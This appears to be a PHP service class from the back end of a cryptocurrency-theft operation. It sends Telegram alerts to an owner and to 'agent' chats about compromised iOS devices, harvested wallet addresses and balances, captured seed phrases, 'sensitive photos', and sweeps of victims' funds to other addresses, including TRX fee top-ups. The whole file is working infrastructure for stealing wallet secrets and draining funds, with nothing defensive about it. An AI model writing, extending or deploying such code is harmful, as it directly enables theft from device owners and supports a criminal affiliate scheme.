*/ private array $deviceContext = []; public function systemEnabled(): bool { return $this->botToken() !== '' && trim((string) config('coruna.telegram.owner_chat_id', '')) !== ''; } /** * Site-wide bot token. Agents only configure chat_id. */ public function botToken(): string { return trim((string) config('coruna.telegram.bot_token', '')); } public function formatBotUsername(?string $username): string { $username = ltrim(trim((string) $username), '@'); return $username === '' ? '' : '@'.$username; } public function cachedBotUsername(): string { return $this->formatBotUsername((string) config('coruna.telegram.bot_username', '')); } public function inviteUrl(?string $username = null): string { $name = ltrim($username !== null && trim($username) !== '' ? $this->formatBotUsername($username) : $this->cachedBotUsername(), '@'); return $name === '' ? '' : 'https://t.me/'.$name.'?startgroup=1'; } /** Resolve @username via Telegram getMe. */ public function fetchBotUsername(?string $token = null): ?string { $token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken())); if ($token === '') { return null; } try { $resp = Http::timeout(8)->get("https://api.telegram.org/bot{$token}/getMe"); if (! $resp->successful() || $resp->json('ok') !== true) { return null; } $name = $this->formatBotUsername((string) ($resp->json('result.username') ?? '')); return $name !== '' ? $name : null; } catch (\Throwable $e) { Log::warning('telegram getMe failed: '.$e->getMessage()); return null; } } /** * Agent device with chat_id → agent chat + official chat. * Otherwise official chat only. * * @return list */ public function resolveChatIds(?string $deviceKey = null): array { if ($this->botToken() === '') { return []; } $owner = trim((string) config('coruna.telegram.owner_chat_id', '')); $agentChat = ''; $agent = $this->contextForDevice($deviceKey)['agent']; if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramChat()) { $agentChat = trim((string) $agent->chat_id); } $chatIds = []; if ($agentChat !== '') { $chatIds[] = $agentChat; } if ($owner !== '' && $owner !== $agentChat) { $chatIds[] = $owner; } return $chatIds; } public function enabled(?string $deviceKey = null): bool { return $this->resolveChatIds($deviceKey) !== []; } public function send(string $text, ?string $deviceKey = null): bool { $chatIds = $this->resolveChatIds($deviceKey); if ($chatIds === []) { SafeLog::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [ 'device_key' => $deviceKey, 'bot_token_set' => $this->botToken() !== '', 'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')), ]); return false; } $async = config('queue.default') !== 'sync'; $ok = false; foreach ($chatIds as $chatId) { if ($async) { SendTelegramMessage::dispatch($chatId, $text); $ok = true; continue; } if ($this->sendToChat($chatId, $text)['ok']) { $ok = true; } } return $ok; } /** * Send one message to a specific chat using the site bot (or an override token). * * @return array{ok: bool, error: ?string} */ public function sendToChat(string $chatId, string $text, ?string $token = null): array { $token = trim((string) ($token !== null && trim($token) !== '' ? $token : $this->botToken())); $chatId = trim($chatId); if ($token === '') { return ['ok' => false, 'error' => '未配置 Bot Token']; } if ($chatId === '') { return ['ok' => false, 'error' => '未填写 Chat ID']; } try { $resp = Http::timeout(15)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", [ 'chat_id' => $chatId, 'text' => $text, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true, ] ); if ($resp->successful() && ($resp->json('ok') === true)) { return ['ok' => true, 'error' => null]; } $desc = trim((string) ($resp->json('description') ?? '')); if ($desc === '') { $desc = 'HTTP '.$resp->status(); } SafeLog::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]); return ['ok' => false, 'error' => $desc]; } catch (\Throwable $e) { SafeLog::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]); return ['ok' => false, 'error' => $e->getMessage()]; } } /** * Timeouts, transport errors, 429 and 5xx are worth another queue attempt. * Chat-not-found / kicked / unauthorized are permanent. */ public static function isRetryableSendError(?string $error): bool { $error = trim((string) $error); if ($error === '') { return true; } $e = strtolower($error); if (str_contains($e, 'too many requests') || str_contains($e, 'retry after') || str_contains($e, '429')) { return true; } if (preg_match('/\bhttp\s*5\d\d\b/', $e) === 1) { return true; } if (str_contains($e, 'curl error') || str_contains($e, 'timed out') || str_contains($e, 'timeout') || str_contains($e, 'connection') || str_contains($e, 'resolve host') || str_contains($e, 'ssl')) { return true; } return false; } /** * @return array{ok: bool, error: ?string} */ public function sendTest(string $chatId, string $label, ?string $token = null): array { $chatId = trim($chatId); return $this->sendToChat($chatId, implode("\n", [ '🧪 Telegram 测试', $this->e($label), '🆔 Chat ID: '.$this->e($chatId).'', ]), $token); } public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void { $this->send(implode("\n", [ '📱 新设备', ...$this->deviceHeader($deviceId), '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', ]), $deviceId); } public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void { $this->notifyNewWallets($deviceId, [[ 'address' => $address, 'chain' => $chain ?: '', 'balance' => $balance ?: '', 'source' => $symbol ?: '', ]]); } /** * Batch wallet alerts into a single Telegram message. * * @param list $wallets */ public function notifyNewWallets(string $deviceId, array $wallets): void { if ($wallets === []) { return; } $lines = [ '💰 新钱包地址'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''), ...$this->deviceHeader($deviceId), ]; foreach ($wallets as $i => $w) { $bal = trim((string) ($w['balance'] ?? '')); if ($bal === '') { $bal = '—'; } $source = trim((string) ($w['source'] ?? '')); if ($i > 0) { $lines[] = ''; } $lines[] = '🪙 链: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—'); if ($source !== '') { $lines[] = '🏷 来源: '.$this->e($source); } $lines[] = '📬 地址: '.$this->e($w['address'] ?? '').''; $lines[] = '💵 余额: '.$this->e($bal); } $this->send(implode("\n", $lines), $deviceId); } /** * @param list $wallets */ public function notifyInstalledWallets(string $deviceId, array $wallets): void { $wallets = array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $wallets), static fn ($n) => $n !== '')); if ($wallets === []) { return; } $this->send(implode("\n", [ '👜 已安装钱包', ...$this->deviceHeader($deviceId), '🏷 钱包: '.$this->e(implode(', ', $wallets)), ]), $deviceId); } /** * Newly linked or mnemonic-derived addresses that can now be swept. * * @param iterable $addresses */ public function notifyCollectableAddresses(iterable $addresses): void { $byDevice = []; foreach ($addresses as $address) { if (! $address instanceof WalletAddress) { continue; } $address->loadMissing('device'); $deviceId = trim((string) ($address->device?->device_id ?? '')); if ($deviceId === '') { continue; } $byDevice[$deviceId][] = $address; } foreach ($byDevice as $deviceId => $rows) { $lines = [ '📦 地址可归集通知'.(count($rows) > 1 ? ' ('.count($rows).')' : ''), ...$this->deviceHeader($deviceId), ]; foreach ($rows as $i => $row) { if ($i > 0) { $lines[] = ''; } $chain = trim((string) ($row->chain_type ?? '')); $lines[] = '🪙 链: '.$this->e($chain !== '' ? $chain : '—'); $source = trim((string) ($row->source ?? '')); if ($source !== '') { $lines[] = '🏷 来源: '.$this->e($source); } $lines[] = '📬 地址: '.$this->e((string) $row->address).''; $lines[] = '💵 余额: '.$this->e($row->balanceDisplayLine()); } $this->send(implode("\n", $lines), $deviceId); } } public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void { $lines = [ '🔐 新助记词', ...$this->deviceHeader($deviceId), ]; $origin = trim((string) $originDeviceId); if ($origin !== '' && $origin !== $deviceId) { $lines[] = '📎 原设备: '.$this->e($origin).''; } $lines[] = '🏷 来源: '.$this->e($source ?: '—'); $lines[] = '📝 助记词: '.$this->e(WalletMnemonic::maskSecret($memoric)).''; $this->send(implode("\n", $lines), $deviceId); } public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void { $this->send(implode("\n", [ '🖼 敏感照片', ...$this->deviceHeader($deviceId), '🎯 敏感分: '.$this->e((string) $xHit), '📦 数量: '.$this->e((string) max(1, $count)), ]), $deviceId); } public function notifyBalanceChange( string $deviceId, string $address, string $symbol, string $amount, ?string $chain = null, ?string $balance = null, bool $inbound = true, ?bool $collectable = null, ?string $source = null, ): void { $signed = ($inbound ? '+' : '-').ltrim($amount, '+-'); $source = trim((string) $source); $chain = trim((string) $chain); $origin = implode(' - ', array_values(array_filter([$source, $chain]))); $lines = [ $inbound ? '✅ 余额入账' : '📤 余额转出', ...$this->deviceHeader($deviceId), '🏷 来源: '.$this->e($origin !== '' ? $origin : '—'), '📬 地址: '.$this->e($address).'', '📥 可归集: '.($collectable === true ? '✅' : '⏳'), '💵 金额: '.$this->e($signed).' '.$this->e($symbol), ]; if ($balance !== null && trim($balance) !== '') { $lines[] = '💰 余额: '.$this->e($balance); } $this->send(implode("\n", $lines), $deviceId); } /** * Sweep / transfer result (auto cron or admin/agent/telegram). */ public function notifyAutoTransfer( string $deviceId, string $fromAddress, string $chain, string $asset, bool $ok, ?string $amount = null, ?string $toAddress = null, ?string $txid = null, ?string $error = null, ?string $operator = null, ): void { $auto = trim((string) $operator) === 'auto'; $lines = [ $ok ? ($auto ? '🚀 自动转账成功' : '🧾 手动归集成功') : ($auto ? '⚠️ 自动转账失败' : '⚠️ 手动归集失败'), ...$this->deviceHeader($deviceId), ]; $who = $this->operatorDisplay($operator); if ($who !== '') { $lines[] = '👤 操作人: '.$this->e($who); } $lines[] = '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'); $lines[] = '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'); $lines[] = '📤 转出: '.$this->e($fromAddress).''; if ($toAddress !== null && trim($toAddress) !== '') { $lines[] = '📥 转入: '.$this->e($toAddress).''; } if ($amount !== null && trim($amount) !== '') { $lines[] = '💵 金额: '.$this->e($amount).' '.$this->e(strtoupper($asset)); } if ($ok && $txid !== null && trim($txid) !== '') { $lines[] = '🔗 交易: '.$this->e($txid).''; } if (! $ok && $error !== null && trim($error) !== '') { $lines[] = '❌ 错误: '.$this->e($error); } $this->send(implode("\n", $lines), $deviceId); } public function operatorDisplay(?string $operator): string { $operator = trim((string) $operator); if ($operator === '' || $operator === 'auto') { return ''; } if (preg_match('/^admin:\d+@(.+)$/', $operator, $m) === 1) { return '管理员 '.$m[1]; } if (preg_match('/^agent:\d+@(.+)$/', $operator, $m) === 1) { return '代理 '.$m[1]; } if (preg_match('/^telegram:\d+@(.+)$/', $operator, $m) === 1) { return 'Telegram @'.$m[1]; } if (preg_match('/^telegram:(.+)$/', $operator, $m) === 1) { return 'Telegram '.$m[1]; } return $operator; } /** * TRON fee / energy top-up result. */ public function notifyFeeTopup( string $deviceId, string $feeFrom, string $toAddress, bool $ok, ?string $amount = null, ?string $txid = null, ?string $error = null, ): void { $lines = [ $ok ? '⚡ TRX 手续费补足成功' : '⚠️ TRX 手续费补足失败', ...$this->deviceHeader($deviceId), '📤 手续费钱包: '.$this->e($feeFrom).'', '📥 转入: '.$this->e($toAddress).'', ]; if ($amount !== null && trim($amount) !== '') { $lines[] = '💵 金额: '.$this->e($amount).' TRX'; } if ($ok && $txid !== null && trim($txid) !== '') { $lines[] = '🔗 交易: '.$this->e($txid).''; } if (! $ok && $error !== null && trim($error) !== '') { $lines[] = '❌ 错误: '.$this->e($error); } $this->send(implode("\n", $lines), $deviceId); } /** @return list */ private function deviceHeader(string $deviceId): array { $channelId = $this->contextForDevice($deviceId)['channel_id']; return [ '📱 设备: '.$this->e($deviceId).'', '📡 渠道 ID: '.$this->e($channelId !== '' ? $channelId : '—').'', ]; } /** * @return array{channel_id: string, agent: ?User} */ private function contextForDevice(?string $deviceKey): array { $deviceKey = trim((string) $deviceKey); if ($deviceKey === '') { return ['channel_id' => '', 'agent' => null]; } if (isset($this->deviceContext[$deviceKey])) { return $this->deviceContext[$deviceKey]; } $channelId = ''; $agent = null; try { $found = Device::query()->where('device_id', $deviceKey)->value('channel_id'); $channelId = is_string($found) ? $found : ''; if ($channelId !== '') { $userId = Channel::query()->where('channel_id', $channelId)->value('user_id'); if ($userId !== null && (int) $userId > 0) { $agent = User::query()->find((int) $userId); } } } catch (\Throwable) { // } return $this->deviceContext[$deviceKey] = [ 'channel_id' => $channelId, 'agent' => $agent, ]; } private function e(?string $value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } }